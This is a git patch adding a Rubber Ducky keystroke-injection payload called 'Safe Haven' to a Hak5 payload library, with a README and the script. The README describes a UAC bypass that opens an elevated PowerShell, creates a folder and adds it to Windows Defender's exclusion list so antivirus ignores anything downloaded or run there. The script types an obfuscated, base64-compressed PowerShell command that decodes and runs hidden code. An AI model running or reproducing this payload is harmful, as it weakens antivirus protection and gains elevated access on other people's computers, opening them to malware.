From 55b546fb804d9bc13e6db2984dc8c16c15cb8d75 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Thu, 19 May 2022 01:13:10 -0500 Subject: [PATCH] Add files via upload --- .../library/execution/-RD-SafeHaven/README.md | 97 +++++++++++++++++++ .../execution/-RD-SafeHaven/SafeHaven.txt | 25 +++++ 2 files changed, 122 insertions(+) create mode 100644 payloads/library/execution/-RD-SafeHaven/README.md create mode 100644 payloads/library/execution/-RD-SafeHaven/SafeHaven.txt diff --git a/payloads/library/execution/-RD-SafeHaven/README.md b/payloads/library/execution/-RD-SafeHaven/README.md new file mode 100644 index 0000000..75ae8be --- /dev/null +++ b/payloads/library/execution/-RD-SafeHaven/README.md @@ -0,0 +1,97 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +
+ Table of Contents +
    +
  1. Description
    2. +
  2. Getting Started
    3. +
  3. Contributing
    4. +
  4. Version History
    5. +
  5. Contact
    6. +
  6. Acknowledgments
    7. +
+
+ +# Safe Haven + +A script used to open an elevated powershell console and created a folder ignored by the AntiVirus + +## Description + +This is a UAC bypass payload that will open an elevated powershell console + +Next a Directory called "safe" will be generated in your Documents Directory + +The "safe" directory will be added to the Window's Defender Exclusion list + +The AntiVirus will ignore all files downloaded to or ran from here + +## Getting Started + +### Dependencies + +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* A keystroke injection based payload will run + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

I am Jakoby

+


+ + + + + + + + + + + + + + + + + + + + Project Link: (https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-SafeHaven) +

+ + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + +

(back to top)

diff --git a/payloads/library/execution/-RD-SafeHaven/SafeHaven.txt b/payloads/library/execution/-RD-SafeHaven/SafeHaven.txt new file mode 100644 index 0000000..4ee0192 --- /dev/null +++ b/payloads/library/execution/-RD-SafeHaven/SafeHaven.txt @@ -0,0 +1,25 @@ +REM Title: Safe-Haven + +REM Author: I am Jakoby + +REM Description: This is a UAC bypass payload that will open an elevated powershell console +REM Next a Directory called "safe" will be generated in your Documents Directory +REM The "safe" directory will be added to the Window's Defender Exclusion list +REM The AntiVirus will ignore all files downloaded to or ran from here + +REM Target: Windows 10, 11 + +DELAY 500 +GUI r +DELAY 500 +STRING powershell +ENTER + +DELAY 1000 + +STRING & ( $PShoME[21]+$psHOME[30]+'x')(NEw-objECt IO.COMpresSiON.DeflATESTrEAm([sYStEm.io.MeMOrySTreAm] [SYSTEM.CONVERT]::fROMBase64StRing('hZFPT8JAEMW/yqbxWiDqwYRweFvKtipiLRAhvdTusBj6L93qop/eXRKNXvCyyWTe+72Z2YvFXEy8tjHU6T2V5YCOxHzD9sx/aB7dU8fMD49UMP7R5lozn+qC3YIbiBASvMF0hFjhgHCFF8UvMW2wTvjS1SvFE8xiLA0XCA9Ygs8wM3gCf4eYQya8hzj5RojmeAb/dNyt4iWCGAvj+hpb8BZRjBg2JwI2idUL5focIrF99AhHKGDzrG6b8MpxC8cR19gYxwPuE5sfKVdrRLZvLFfcuPzkZx+r+7MfJhNv3JFiuZTMi+6CVZY2u97kHWVBaW9COhs0lcpSd8Fs0VKdFU1V5bX02FCyC3tjNtz9h6i0r6nvX2uls+CtW1N3cnsO7Tn/rpE2oKXOfdI47fOu99OSqGW+ZlcnvKSSejo7pPc9ynnt72lOli8=' ),[SYsTEM.io.cOmpressION.coMPRESsiOnmode]::DEcOMPRESS )| FoREACh-object{NEw-objECt SySTeM.Io.StreaMreadER( $_ ,[System.teXT.EnCoDINg]::ASCiI) }|foReaCh-objEct {$_.ReAdToEND()} ) +ENTER + + + +